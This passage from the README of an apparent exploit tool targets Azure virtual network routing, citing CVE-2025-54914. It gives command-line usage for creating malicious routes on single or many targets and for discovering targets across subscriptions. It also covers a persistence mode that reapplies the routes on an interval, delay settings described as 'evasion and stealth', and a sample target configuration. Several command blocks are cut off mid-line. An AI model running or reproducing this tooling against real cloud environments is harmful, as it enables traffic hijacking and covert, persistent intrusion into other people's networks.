curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
```

### Setup
```bash
# Make scripts executable
chmod +x exploit.py
chmod +x exploit_utils.py

# Authenticate with Azure
az login
```

## Usage

### Basic Usage

#### Single Target Exploitation
```bash
# Create route on single target
python exploit.py \
    --subscription-id "12345678-1234-1234-1234-123456789012" \
    --resource-group "production-rg" \
    --vnet-name "prod-vnet" \
    --subnet-name "prod-subnet" \
    --address-prefix "10.0.1.0/24" \
    --next-hop-ip "10.0.2.5"

# Delete route
python exploit.py \
    --subscription-id "12345678-1234-1234-1234-123456789012" \
    --resource-group "production-rg" \
    --vnet-name "prod-vnet" \
    --subnet-name "prod-subnet" \
    --route-name "exploit-route-1" \
    --operation delete
```

#### Multi-Target Exploitation
```bash
# Create configuration file
python exploit_utils.py discover --output targets.json

# Exploit all targets
python exploit.py --targets-file targets.json --operation create
```

#### Scan Mode
```bash
# Scan targets without exploitation
python exploit.py --targets-file targets.json --scan-only
```

#### Persistence Mode
```bash
# Enable persistence with 30-minute intervals
python exploit.py --targets-file targets.json --persistence-mode --interval 30
```

### Advanced Usage

#### Evasion and Stealth
```bash
# Custom delay ranges for evasion
python exploit.py \
    --targets-file targets.json \
    --delay-min 1.0 \
    --delay-max 5.0 \
    --max-workers 5
```

#### Dry Run Mode
```bash
# Test without actual exploitation
python exploit.py --targets-file targets.json --dry-run
```

#### Detailed Logging
```bash
# Enable debug logging
python exploit.py \
    --targets-file targets.json \
    --log-level DEBUG \
    --log-file exploit.log
```

## Configuration

### Target Configuration Format
```json
{
  "targets": [
    {
      "subscription_id": "12345678-1234-1234-1234-123456789012",
      "resource_group": "production-rg",
      "vnet_name": "prod-vnet",
      "subnet_name": "prod-subnet",
      "route_name": "exploit-route-1",
      "address_prefix": "10.0.1.0/24",
      "next_hop_type": "VirtualAppliance",
      "next_hop_ip": "10.0.2.5",
      "api_version": "2025-09-01",
      "priority": 1
    }
  ],
  "metadata": {
    "description": "Target configuration for CVE-2025-54914",
    "created": "2025-01-09",

  }
}
```

### Environment Variables
```bash
# Azure access token (alternative to Azure CLI)
export AZURE_ACCESS_TOKEN="your_token_here"

# Log level
export LOG_LEVEL="INFO"
```

## Utility Scripts

### Target Discovery
```bash
# Discover all accessible targets
python exploit_utils.py discover --output discovered_targets.json

# Discover specific subscriptions
python exploit_utils.py discover \
    --subscription-ids "sub1" "sub2" \
    --output targets.json \

```bash
# Generate exploit configuration from discovered targets
python exploit_utils.py config \
    --input discovered_targets.json \
    --output exploit_config.json \
    --address-prefix "10.0.1.0/24" \

- **Tag Analysis**: Risk scoring based on resource tags

## Best Practices

### Operational Security
1. **Use Dry Run**: Always test with `--dry-run` first
2. **Limit Scope**: Start with non-production environments
3. **Monitor Logs**: Review logs for unexpected behavior
4. **Clean Up**: Remove created routes after testing

### Performance Optimization
1. **Worker Limits**: Adjust `--max-workers` based on system capacity
2. **Delay Tuning**: Balance stealth vs. speed with delay settings
3. **Batch Processing**: Use target files for large-scale operations
4. **Resource Monitoring**: Monitor system resources during execution

### Error Recovery
1. **Check Logs**: Review error messages for troubleshooting
2. **Verify Permissions**: Ensure proper Azure permissions
3. **Network Connectivity**: Verify internet connectivity
4. **Token Validity**: Check Azure CLI authentication status

## Troubleshooting

### Common Issues

#### Authentication Errors
```bash
# Re-authenticate with Azure
az login

# Check current account
az account show

# List accessible subscriptions
az account list
```

#### Permission Errors
```bash
# Check required permissions
az role assignment list --assignee $(az account show --query user.name -o tsv)
```

#### Network Errors
```bash
# Test connectivity
curl -I https://management.azure.com

# Check proxy settings
echo $HTTP_PROXY
echo $HTTPS_PROXY
```

### Debug Mode
```bash
# Enable detailed logging
python exploit.py --log-level DEBUG --log-file debug.log

# Check log file
tail -f debug.log
```
